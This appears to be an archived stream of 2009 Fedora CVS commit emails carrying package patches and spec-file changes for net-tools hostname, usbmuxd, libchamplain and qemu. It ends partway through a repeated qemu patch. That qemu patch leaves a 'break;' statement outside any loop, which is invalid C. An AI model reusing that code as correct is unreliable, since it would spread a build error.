+++ net-tools-1.60/hostname.c	2009-09-08 11:55:03.000000000 +0200
@@ -176,11 +176,6 @@ static void showhname(char *hname, int c
     case 'f':
 	printf("%s\n", hp->h_name);
 	break;
-    case 's':
-	if (p != NULL)
-	    *p = '\0';
-	printf("%s\n", hp->h_name);
-	break;
     default:
     ;
     }
@@ -270,6 +265,7 @@ int main(int argc, char **argv)
     char myname[MAXHOSTNAMELEN + 1] =
     {0};
     char *file = NULL;
+    char *p;
 
     static const struct option long_options[] =
     {
@@ -370,7 +366,13 @@ int main(int argc, char **argv)
 	if (!type)
 	    printf("%s\n", myname);
 	else
-	    showhname(myname, type);
+		if (type == 's') {
+			if (p = strchr(myname, '.'))
+				*p = '\0';
+			printf("%s\n", myname);
+		}
+		else
+			showhname(myname, type);
 	break;
     case 3:
 	if (file) {

net-tools-1.60-hostname_man.patch:
 hostname.1 |   27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

Index: net-tools-1.60-hostname_man.patch
===================================================================
RCS file: /cvs/pkgs/rpms/net-tools/F-11/net-tools-1.60-hostname_man.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- net-tools-1.60-hostname_man.patch	2 Jan 2006 10:00:42 -0000	1.2
+++ net-tools-1.60-hostname_man.patch	29 Oct 2009 11:29:42 -0000	1.3
@@ -1,14 +1,14 @@
 --- net-tools-1.60/man/en_US/hostname.1.gethostbyname	2005-10-14 11:33:41.000000000 +0200
 +++ net-tools-1.60/man/en_US/hostname.1	2005-10-15 11:46:14.646697600 +0200
-@@ -99,6 +99,32 @@
+@@ -99,6 +99,33 @@
  complete FQDN of the system is returned with
  .BR "hostname \-\-fqdn" .
  
 +.LP
 +The function 
 +.BR gethostname(2)
-+is used to get the hostname.  Only when the 
-+.BR "hostname \-s" 
++is used to get the hostname.  When the 
++.BR "hostname \-a, \-d, \-f or \-i" 
 +is called will 
 +.BR gethostbyname(3)
 +be called.  The difference in 
@@ -25,7 +25,8 @@
 +.IR /etc/sysconfig/network
 +or
 +.IR /etc/hosts
-+. To add another dimension to this,
++
++To add another dimension to this,
 +the 
 +.B hostname 
 +is also set when the network interface is brought up.


Index: net-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/net-tools/F-11/net-tools.spec,v
retrieving revision 1.99
retrieving revision 1.100
diff -u -p -r1.99 -r1.100
--- net-tools.spec	16 Jul 2009 08:31:44 -0000	1.99
+++ net-tools.spec	29 Oct 2009 11:29:42 -0000	1.100
@@ -3,7 +3,7 @@
 Summary: Basic networking tools
 Name: net-tools
 Version: 1.60
-Release: 93%{?dist}
+Release: 94%{?dist}
 License: GPL+
 Group: System Environment/Base
 URL: http://net-tools.berlios.de/
@@ -83,6 +83,7 @@ Patch69: net-tools-1.60-clear-flag.patch
 Patch70: net-tools-1.60-metric-tunnel-man.patch
 Patch71: net-tools-1.60-netstat-probe.patch
 Patch72: net-tools-1.60-scanf-format.patch
+Patch73: net-tools-1.60-hostname-short.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires(post): /sbin/chkconfig
@@ -166,6 +167,7 @@ ifconfig, netstat, route, and others.
 %patch70 -p1 -b .metric-tunnel-man
 %patch71 -p1 -b .probe
 %patch72 -p1 -b .scanf-format
+%patch73 -p1 -b .hostname-short
 
 cp %SOURCE2 ./config.h
 cp %SOURCE3 ./config.make
@@ -281,6 +283,10 @@ exit 0
 %{_sysconfdir}/rc.d/init.d/netplugd
 
 %changelog
+* Thu Oct 29 2009  Jiri Popelka <jpopelka at redhat.com> - 1.60-94
+- Make "hostname -s" display host name cut at the first dot (no
+  matter if the host name resolves or not) (bug #531702)
+
 * Wed Jul  8 2009  Jiri Popelka <jpopelka at redhat.com> - 1.60-93
 - scanf format length fix (non exploitable?) from Fabian Hugelshofer <hugelshofer2006 at gmx.ch>
 - URL tag changed to http://net-tools.berlios.de/



From pbrobinson at fedoraproject.org  Thu Oct 29 11:36:50 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 29 Oct 2009 11:36:50 +0000 (UTC)
Subject: rpms/usbmuxd/devel usbmuxd-fix64.patch, NONE, 1.1 usbmuxd.spec, 1.3,
	1.4
Message-ID: <20091029113650.AA6A811C008B@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/usbmuxd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24497

Modified Files:
	usbmuxd.spec 
Added Files:
	usbmuxd-fix64.patch 
Log Message:
- Add patch to fix install of 64 bit libs

usbmuxd-fix64.patch:
 CMakeLists.txt            |   12 ++++++++----
 libusbmuxd.pc.in          |    4 ++--
 libusbmuxd/CMakeLists.txt |    5 ++---
 3 files changed, 12 insertions(+), 9 deletions(-)

--- NEW FILE usbmuxd-fix64.patch ---
>From e4f4f9e4c47fe40e0f89d3b8c5c6151833fc54a7 Mon Sep 17 00:00:00 2001
From: Hector Martin <hector at marcansoft.com>
Date: Wed, 28 Oct 2009 00:14:21 +0100
Subject: [PATCH 1/1] Use lib64 on 64-bit systems

---
 CMakeLists.txt            |   12 ++++++++----
 libusbmuxd.pc.in          |    4 ++--
 libusbmuxd/CMakeLists.txt |    4 ++--
 3 files changed, 12 insertions(+), 8 deletions(-)

diff --git a/CMakeLists.txt b/CMakeLists.txt
index 4251bde..a5e8f1c 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -6,9 +6,13 @@ SET ( LIBUSBMUXD_SOVERSION "1" )
 
 cmake_minimum_required(VERSION 2.6)
 
-IF(NOT DEFINED CMAKE_INSTALL_LIBDIR)
-    SET(CMAKE_INSTALL_LIBDIR lib CACHE PATH "Output directory for libraries")
-ENDIF(NOT DEFINED CMAKE_INSTALL_LIBDIR)
+IF(NOT DEFINED LIB_SUFFIX)
+    IF(CMAKE_SIZEOF_VOID_P EQUAL 8)
+        SET(LIB_SUFFIX "64" CACHE STRING "Define suffix of library directory name (32/64)" )
+    ELSE(CMAKE_SIZEOF_VOID_P EQUAL 8)
+        SET(LIB_SUFFIX "" CACHE STRING "Define suffix of library directory name (32/64)" )
+    ENDIF(CMAKE_SIZEOF_VOID_P EQUAL 8)
+ENDIF(NOT DEFINED LIB_SUFFIX)
 
 set(CMAKE_MODULE_PATH ${CMAKE_MODULE_PATH} "${CMAKE_SOURCE_DIR}/Modules/")
 
@@ -20,7 +24,7 @@ add_subdirectory (udev)
 # pkg-config
 CONFIGURE_FILE ("${CMAKE_SOURCE_DIR}/libusbmuxd.pc.in" "${CMAKE_CURRENT_BINARY_DIR}/libusbmuxd.pc")
 # install pkg-config file
-INSTALL (FILES "${CMAKE_CURRENT_BINARY_DIR}/libusbmuxd.pc" DESTINATION ${CMAKE_INSTALL_LIBDIR}/pkgconfig/)
+INSTALL (FILES "${CMAKE_CURRENT_BINARY_DIR}/libusbmuxd.pc" DESTINATION lib${LIB_SUFFIX}/pkgconfig/)
 
 # add uninstall target
 CONFIGURE_FILE( "${CMAKE_SOURCE_DIR}/Modules/cmake_uninstall.cmake.in" "${CMAKE_CURRENT_BINARY_DIR}/cmake_uninstall.cmake" IMMEDIATE @ONLY)
diff --git a/libusbmuxd.pc.in b/libusbmuxd.pc.in
index f949ba0..25d4e09 100644
--- a/libusbmuxd.pc.in
+++ b/libusbmuxd.pc.in
@@ -1,12 +1,12 @@
 prefix=${CMAKE_INSTALL_PREFIX}
 exec_prefix=${CMAKE_INSTALL_PREFIX}
-libdir=${CMAKE_INSTALL_PREFIX}/${CMAKE_INSTALL_LIBDIR}
+libdir=${CMAKE_INSTALL_PREFIX}/lib${LIB_SUFFIX}
 includedir=${CMAKE_INSTALL_PREFIX}/include
 
 Name: libusbmuxd
 Description: A library to communicate with the usbmux daemon
 Version: ${USBMUXD_VERSION}
 Requires: libusb-1.0 >= 1.0.3
-Libs: -L${CMAKE_INSTALL_PREFIX}/${CMAKE_INSTALL_LIBDIR} -lusbmuxd
+Libs: -L${CMAKE_INSTALL_PREFIX}/lib${LIB_SUFFIX} -lusbmuxd
 Cflags: -I${CMAKE_INSTALL_PREFIX}/include
 
diff --git a/libusbmuxd/CMakeLists.txt b/libusbmuxd/CMakeLists.txt
index d57d0a0..fd47afb 100644
--- a/libusbmuxd/CMakeLists.txt
+++ b/libusbmuxd/CMakeLists.txt
@@ -10,7 +10,7 @@ set_target_properties(libusbmuxd PROPERTIES VERSION ${LIBUSBMUXD_VERSION})
 set_target_properties(libusbmuxd PROPERTIES SOVERSION ${LIBUSBMUXD_SOVERSION})
 
 install(TARGETS libusbmuxd
-	ARCHIVE DESTINATION lib
-	LIBRARY DESTINATION lib
+	ARCHIVE DESTINATION lib${LIB_SUFFIX}
+	LIBRARY DESTINATION lib${LIB_SUFFIX}
 )
 install(FILES usbmuxd.h usbmuxd-proto.h DESTINATION include)
-- 
1.6.3.3



Index: usbmuxd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/usbmuxd/devel/usbmuxd.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- usbmuxd.spec	29 Oct 2009 11:23:18 -0000	1.3
+++ usbmuxd.spec	29 Oct 2009 11:36:50 -0000	1.4
@@ -1,6 +1,6 @@
 Name:		usbmuxd
 Version:	1.0.0
-Release:	0.1.rc1%{?dist}
+Release:	0.2.rc1%{?dist}
 Summary:	Daemon for communicating with Apple's iPod Touch and iPhone
 
 Group:		Applications/System
@@ -9,13 +9,12 @@ License:	GPLv3+ or GPLv2+ and LGPLv2+
 URL:		http://cgit.pims.selfip.net/usbmuxd/
 #Source0:	http://cgit.pims.selfip.net/%{name}/snapshot/%{name}-%{version}.tar.gz
 Source0:	%{name}-1.0.0-rc1.tar.bz2
+Patch0:		usbmuxd-fix64.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	libusb1-devel
 BuildRequires:	cmake
 
-#Patch0:		0002-Port-udev-rules-to-newer-kernels.patch
-
 %description
 usbmuxd is a daemon used for communicating with Apple's iPod Touch and iPhone
 devices. It allows multiple services on the device to be accessed
@@ -32,6 +31,7 @@ Files for development with %{name}.
 
 %prep
 %setup -q -n %{name}-1.0.0-rc1
+%patch0 -p1 -b .fix64
 
 %build
 export CMAKE_PREFIX_PATH=/usr
@@ -44,13 +44,6 @@ export CMAKE_PREFIX_PATH=/usr$RPM_BUILD_
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 
-# Move libs to correct dir
-mv $RPM_BUILD_ROOT/usr/lib/libusbmuxd.* $RPM_BUILD_ROOT%{_libdir}
-
-# Install udev rules in the correct location
-#rm -rf $RPM_BUILD_ROOT/%{_sysconfdir}/udev/rules.d/
-#install -D -p -m0644 udev/85-usbmuxd.rules $RPM_BUILD_ROOT/lib/udev/rules.d/85-usbmuxd.rules
-
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -74,6 +67,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/libusbmuxd.pc
 
 %changelog
+* Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 1.0.0-0.2.rc1
+- Add patch to fix install of 64 bit libs
+
 * Tue Oct 27 2009 Peter Robinson <pbrobinson at gmail.com> 1.0.0-0.1.rc1
 - New 1.0.0-rc1 test release
 



From rishi at fedoraproject.org  Thu Oct 29 11:36:50 2009
From: rishi at fedoraproject.org (Debarshi Ray)
Date: Thu, 29 Oct 2009 11:36:50 +0000 (UTC)
Subject: rpms/libchamplain/devel .cvsignore, 1.10, 1.11 libchamplain.spec,
	1.13, 
	1.14 sources, 1.10, 1.11 libchamplain-0.4.1-gir.patch, 1.1, NONE
Message-ID: <20091029113650.BF64E11C0265@cvs1.fedora.phx.redhat.com>

Author: rishi

Update of /cvs/pkgs/rpms/libchamplain/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24486

Modified Files:
	.cvsignore libchamplain.spec sources 
Removed Files:
	libchamplain-0.4.1-gir.patch 
Log Message:
* Thu Oct 29 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.2-1
- Version bump to 0.4.2.
  * Fixed acceptable values of "decel-rate". (GNOME Bugzilla #595552)
  * Fixed GObject Introspection build failure. (GNOME Bugzilla #598942)
  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.2.news
  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.2.changes



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libchamplain/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	19 Oct 2009 20:33:55 -0000	1.10
+++ .cvsignore	29 Oct 2009 11:36:50 -0000	1.11
@@ -1 +1 @@
-libchamplain-0.4.1.tar.bz2
+libchamplain-0.4.2.tar.bz2


Index: libchamplain.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libchamplain/devel/libchamplain.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- libchamplain.spec	19 Oct 2009 20:33:56 -0000	1.13
+++ libchamplain.spec	29 Oct 2009 11:36:50 -0000	1.14
@@ -1,15 +1,12 @@
 Summary:	Map view for Clutter
 Name:		libchamplain
-Version:	0.4.1
+Version:	0.4.2
 Release:	1%{?dist}
 License:	LGPLv2+
 Group:		System Environment/Libraries
 URL:		http://projects.gnome.org/libchamplain/
 Source0:	http://download.gnome.org/sources/libchamplain/0.4/%{name}-%{version}.tar.bz2
 
-# http://bugzilla.gnome.org/598942
-Patch0:		%{name}-%{version}-gir.patch
-
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 Requires:	gobject-introspection
@@ -68,7 +65,6 @@ This package contains development files 
 
 %prep
 %setup -q
-%patch0 -p1
 
 %build
 %configure --disable-debug --disable-static --enable-gtk --enable-gtk-doc \
@@ -85,9 +81,6 @@ rm -rf $RPM_BUILD_ROOT
 make install INSTALL="%{__install} -p" DESTDIR=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT -type f -name "*.la" -delete
 
-# Remove rpaths.
-#chrpath --delete $RPM_BUILD_ROOT%{_libdir}/libchamplain-gtk-0.4.so.0.0.0
-
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -146,6 +139,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/%{name}-gtk-0.4/champlain-gtk
 
 %changelog
+* Thu Oct 29 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.2-1
+- Version bump to 0.4.2.
+  * Fixed acceptable values of "decel-rate". (GNOME Bugzilla #595552)
+  * Fixed GObject Introspection build failure. (GNOME Bugzilla #598942)
+  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.2.news
+  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.2.changes
+
 * Mon Oct 19 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.1-1
 - Version bump to 0.4.1.
   * Added champlain_view_remove_layer.
@@ -158,8 +158,11 @@ rm -rf $RPM_BUILD_ROOT
   * Ensure map is displayed in Eye of GNOME's champlain plugin. (GNOME
     Bugzilla #598106)
   * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.1.news
+  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.1.changes
+
 - Enabled GObject Introspection, and added 'Requires: gobject-introspection'
-  and 'BuildRequires: gir-repository-devel'.
+  and 'BuildRequires: gir-repository-devel'. Patched to fix build failure.
+  (GNOME Bugzilla #598942)
 - Explicitly disabled debug code.
 - RPaths fixed by upstream. Removed 'BuildRequires: chrpath'.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libchamplain/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	19 Oct 2009 20:33:56 -0000	1.10
+++ sources	29 Oct 2009 11:36:50 -0000	1.11
@@ -1 +1 @@
-cd41e989c4c609e37fac2ad331919bcf  libchamplain-0.4.1.tar.bz2
+20bd6c479ba4ba17d413a689d82923d9  libchamplain-0.4.2.tar.bz2


--- libchamplain-0.4.1-gir.patch DELETED ---



From rishi at fedoraproject.org  Thu Oct 29 11:37:03 2009
From: rishi at fedoraproject.org (Debarshi Ray)
Date: Thu, 29 Oct 2009 11:37:03 +0000 (UTC)
Subject: rpms/libchamplain/F-12 .cvsignore, 1.10, 1.11 libchamplain.spec,
	1.13, 
	1.14 sources, 1.10, 1.11 libchamplain-0.4.1-gir.patch, 1.1, NONE
Message-ID: <20091029113703.2CABB11C008B@cvs1.fedora.phx.redhat.com>

Author: rishi

Update of /cvs/pkgs/rpms/libchamplain/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24630

Modified Files:
	.cvsignore libchamplain.spec sources 
Removed Files:
	libchamplain-0.4.1-gir.patch 
Log Message:
* Thu Oct 29 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.2-1
- Version bump to 0.4.2.
  * Fixed acceptable values of "decel-rate". (GNOME Bugzilla #595552)
  * Fixed GObject Introspection build failure. (GNOME Bugzilla #598942)
  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.2.news
  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.2.changes



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libchamplain/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	19 Oct 2009 20:30:21 -0000	1.10
+++ .cvsignore	29 Oct 2009 11:37:02 -0000	1.11
@@ -1 +1 @@
-libchamplain-0.4.1.tar.bz2
+libchamplain-0.4.2.tar.bz2


Index: libchamplain.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libchamplain/F-12/libchamplain.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- libchamplain.spec	19 Oct 2009 20:30:21 -0000	1.13
+++ libchamplain.spec	29 Oct 2009 11:37:02 -0000	1.14
@@ -1,15 +1,12 @@
 Summary:	Map view for Clutter
 Name:		libchamplain
-Version:	0.4.1
+Version:	0.4.2
 Release:	1%{?dist}
 License:	LGPLv2+
 Group:		System Environment/Libraries
 URL:		http://projects.gnome.org/libchamplain/
 Source0:	http://download.gnome.org/sources/libchamplain/0.4/%{name}-%{version}.tar.bz2
 
-# http://bugzilla.gnome.org/598942
-Patch0:		%{name}-%{version}-gir.patch
-
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 Requires:	gobject-introspection
@@ -68,7 +65,6 @@ This package contains development files 
 
 %prep
 %setup -q
-%patch0 -p1
 
 %build
 %configure --disable-debug --disable-static --enable-gtk --enable-gtk-doc \
@@ -85,9 +81,6 @@ rm -rf $RPM_BUILD_ROOT
 make install INSTALL="%{__install} -p" DESTDIR=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT -type f -name "*.la" -delete
 
-# Remove rpaths.
-#chrpath --delete $RPM_BUILD_ROOT%{_libdir}/libchamplain-gtk-0.4.so.0.0.0
-
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -146,6 +139,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/%{name}-gtk-0.4/champlain-gtk
 
 %changelog
+* Thu Oct 29 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.2-1
+- Version bump to 0.4.2.
+  * Fixed acceptable values of "decel-rate". (GNOME Bugzilla #595552)
+  * Fixed GObject Introspection build failure. (GNOME Bugzilla #598942)
+  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.2.news
+  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.2.changes
+
 * Mon Oct 19 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.1-1
 - Version bump to 0.4.1.
   * Added champlain_view_remove_layer.
@@ -158,8 +158,11 @@ rm -rf $RPM_BUILD_ROOT
   * Ensure map is displayed in Eye of GNOME's champlain plugin. (GNOME
     Bugzilla #598106)
   * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.1.news
+  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.1.changes
+
 - Enabled GObject Introspection, and added 'Requires: gobject-introspection'
-  and 'BuildRequires: gir-repository-devel'.
+  and 'BuildRequires: gir-repository-devel'. Patched to fix build failure.
+  (GNOME Bugzilla #598942)
 - Explicitly disabled debug code.
 - RPaths fixed by upstream. Removed 'BuildRequires: chrpath'.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libchamplain/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	19 Oct 2009 20:30:21 -0000	1.10
+++ sources	29 Oct 2009 11:37:02 -0000	1.11
@@ -1 +1 @@
-cd41e989c4c609e37fac2ad331919bcf  libchamplain-0.4.1.tar.bz2
+20bd6c479ba4ba17d413a689d82923d9  libchamplain-0.4.2.tar.bz2


--- libchamplain-0.4.1-gir.patch DELETED ---



From markmc at fedoraproject.org  Thu Oct 29 11:45:25 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu, 29 Oct 2009 11:45:25 +0000 (UTC)
Subject: rpms/qemu/F-12 qemu-fix-dropped-packets-with-non-virtio-nics.patch, 
	NONE, 1.1 qemu.spec, 1.145, 1.146
Message-ID: <20091029114525.1C95411C008B@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27494

Modified Files:
	qemu.spec 
Added Files:
	qemu-fix-dropped-packets-with-non-virtio-nics.patch 
Log Message:
* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-9
- Fix dropped packets with non-virtio NICs (#531419)


qemu-fix-dropped-packets-with-non-virtio-nics.patch:
 net.c |   30 +++++++++++++-----------------
 1 file changed, 13 insertions(+), 17 deletions(-)

--- NEW FILE qemu-fix-dropped-packets-with-non-virtio-nics.patch ---
>From e670b85a691a6e39bce4b69f2175e0bfebc93f51 Mon Sep 17 00:00:00 2001
From: Mark McLoughlin <markmc at redhat.com>
Date: Thu, 29 Oct 2009 11:34:17 +0000
Subject: [PATCH] net: disable draining tap queue in one go

If qemu_send_packet_async() returns zero, it means the packet has been
queued and the sent callback will be invoked once it has been flushed.

This is only possible where the NIC's receive() handler returns zero
and promises to notify the networking core that room is available in its
queue again.

In the case where the receive handler does not have this capability
(and its queue fills up) it returns -1 and the networking core does not
queue up the packet. This condition is indicated by a -1 return from
qemu_send_packet_async().

Currently, tap handles this condition simply by dropping the packet. It
should do its best to avoid getting into this situation by checking such
NIC's have room for a packet before copying the packet from the tap
interface.

tap_send() used to achieve this by only reading a single packet before
returning to the mainloop. That way, tap_can_send() is called before
reading each packet.

tap_send() was changed to completely drain the tap interface queue
without taking into account the situation where the NIC returns an
error and the packet is not queued. Let's start fixing this by
reverting to the previous behaviour of reading one packet at a time.

Reported-by: Scott Tsai <scottt.tw at gmail.com>
Tested-by: Sven Rudolph <Sven_Rudolph at drewag.de>
Signed-off-by: Mark McLoughlin <markmc at redhat.com>

Fedora-patch: qemu-fix-dropped-packets-with-non-virtio-nics.patch
---
 net.c |   29 +++++++++++++----------------
 1 files changed, 13 insertions(+), 16 deletions(-)

diff --git a/net.c b/net.c
index 3572c48..3abab95 100644
--- a/net.c
+++ b/net.c
@@ -1453,27 +1453,24 @@ static void tap_send(void *opaque)
 {
     TAPState *s = opaque;
     int size;
+    uint8_t *buf = s->buf;
 
-    do {
-        uint8_t *buf = s->buf;
-
-        size = tap_read_packet(s->fd, s->buf, sizeof(s->buf));
-        if (size <= 0) {
-            break;
-        }
+    size = tap_read_packet(s->fd, s->buf, sizeof(s->buf));
+    if (size <= 0) {
+        break;
+    }
 
 #ifdef IFF_VNET_HDR
-        if (s->has_vnet_hdr && !s->using_vnet_hdr) {
-            buf += sizeof(struct virtio_net_hdr);
-            size -= sizeof(struct virtio_net_hdr);
-        }
+    if (s->has_vnet_hdr && !s->using_vnet_hdr) {
+        buf += sizeof(struct virtio_net_hdr);
+        size -= sizeof(struct virtio_net_hdr);
+    }
 #endif
 
-        size = qemu_send_packet_async(s->vc, buf, size, tap_send_completed);
-        if (size == 0) {
-            tap_read_poll(s, 0);
-        }
-    } while (size > 0);
+    size = qemu_send_packet_async(s->vc, buf, size, tap_send_completed);
+    if (size == 0) {
+        tap_read_poll(s, 0);
+    }
 }
 
 #ifdef TUNSETSNDBUF
-- 
1.6.2.5



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu.spec,v
retrieving revision 1.145
retrieving revision 1.146
diff -u -p -r1.145 -r1.146
--- qemu.spec	21 Oct 2009 19:25:00 -0000	1.145
+++ qemu.spec	29 Oct 2009 11:45:24 -0000	1.146
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 8%{?dist}
+Release: 9%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -55,6 +55,9 @@ Patch10: qemu-fix-msr-count-potential-se
 # Properly save kvm time registers (#524229)
 Patch11: qemu-properly-save-kvm-system-time-registers.patch
 
+# Fix dropped packets with non-virtio NICs (#531419)
+Patch12: qemu-fix-dropped-packets-with-non-virtio-nics.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: SDL-devel zlib-devel which texi2html gnutls-devel cyrus-sasl-devel
 BuildRequires: rsync dev86 iasl
@@ -253,6 +256,7 @@ such as kvmtrace and kvm_stat.
 %patch09 -p1
 %patch10 -p1
 %patch11 -p1
+%patch12 -p1
 
 %build
 # --build-id option is used fedora 8 onwards for giving info to the debug packages.
@@ -534,6 +538,9 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-9
+- Fix dropped packets with non-virtio NICs (#531419)
+
 * Wed Oct 21 2009 Glauber Costa <gcosta at redhat.com> - 2:0.11.0-8
 - Properly save kvm time registers (#524229)
 



From markmc at fedoraproject.org  Thu Oct 29 11:45:25 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu, 29 Oct 2009 11:45:25 +0000 (UTC)
Subject: rpms/qemu/devel qemu-fix-dropped-packets-with-non-virtio-nics.patch,
	NONE, 1.1 qemu.spec, 1.145, 1.146
Message-ID: <20091029114525.848A111C008B@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27510

Modified Files:
	qemu.spec 
Added Files:
	qemu-fix-dropped-packets-with-non-virtio-nics.patch 
Log Message:
* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-9
- Fix dropped packets with non-virtio NICs (#531419)


qemu-fix-dropped-packets-with-non-virtio-nics.patch:
 net.c |   30 +++++++++++++-----------------
 1 file changed, 13 insertions(+), 17 deletions(-)

--- NEW FILE qemu-fix-dropped-packets-with-non-virtio-nics.patch ---
>From e670b85a691a6e39bce4b69f2175e0bfebc93f51 Mon Sep 17 00:00:00 2001
From: Mark McLoughlin <markmc at redhat.com>
Date: Thu, 29 Oct 2009 11:34:17 +0000
Subject: [PATCH] net: disable draining tap queue in one go

If qemu_send_packet_async() returns zero, it means the packet has been
queued and the sent callback will be invoked once it has been flushed.

This is only possible where the NIC's receive() handler returns zero
and promises to notify the networking core that room is available in its
queue again.

In the case where the receive handler does not have this capability
(and its queue fills up) it returns -1 and the networking core does not
queue up the packet. This condition is indicated by a -1 return from
qemu_send_packet_async().

Currently, tap handles this condition simply by dropping the packet. It
should do its best to avoid getting into this situation by checking such
NIC's have room for a packet before copying the packet from the tap
interface.

tap_send() used to achieve this by only reading a single packet before
returning to the mainloop. That way, tap_can_send() is called before
reading each packet.

tap_send() was changed to completely drain the tap interface queue
without taking into account the situation where the NIC returns an
error and the packet is not queued. Let's start fixing this by
reverting to the previous behaviour of reading one packet at a time.

Reported-by: Scott Tsai <scottt.tw at gmail.com>
Tested-by: Sven Rudolph <Sven_Rudolph at drewag.de>
Signed-off-by: Mark McLoughlin <markmc at redhat.com>

Fedora-patch: qemu-fix-dropped-packets-with-non-virtio-nics.patch
---
 net.c |   29 +++++++++++++----------------
 1 files changed, 13 insertions(+), 16 deletions(-)

diff --git a/net.c b/net.c
index 3572c48..3abab95 100644
--- a/net.c
+++ b/net.c
@@ -1453,27 +1453,24 @@ static void tap_send(void *opaque)
 {
     TAPState *s = opaque;
     int size;
+    uint8_t *buf = s->buf;
 
-    do {
-        uint8_t *buf = s->buf;
-
-        size = tap_read_packet(s->fd, s->buf, sizeof(s->buf));
-        if (size <= 0) {
-            break;
-        }
+    size = tap_read_packet(s->fd, s->buf, sizeof(s->buf));
+    if (size <= 0) {
+        break;
+    }
 
 #ifdef IFF_VNET_HDR
-        if (s->has_vnet_hdr && !s->using_vnet_hdr) {
-            buf += sizeof(struct virtio_net_hdr);
-            size -= sizeof(struct virtio_net_hdr);
-        }
+    if (s->has_vnet_hdr && !s->using_vnet_hdr) {
+        buf += sizeof(struct virtio_net_hdr);
+        size -= sizeof(struct virtio_net_hdr);
+    }
 #endif
 
-        size = qemu_send_packet_async(s->vc, buf, size, tap_send_completed);
-        if (size == 0) {
-            tap_read_poll(s, 0);
-        }
-    } while (size > 0);
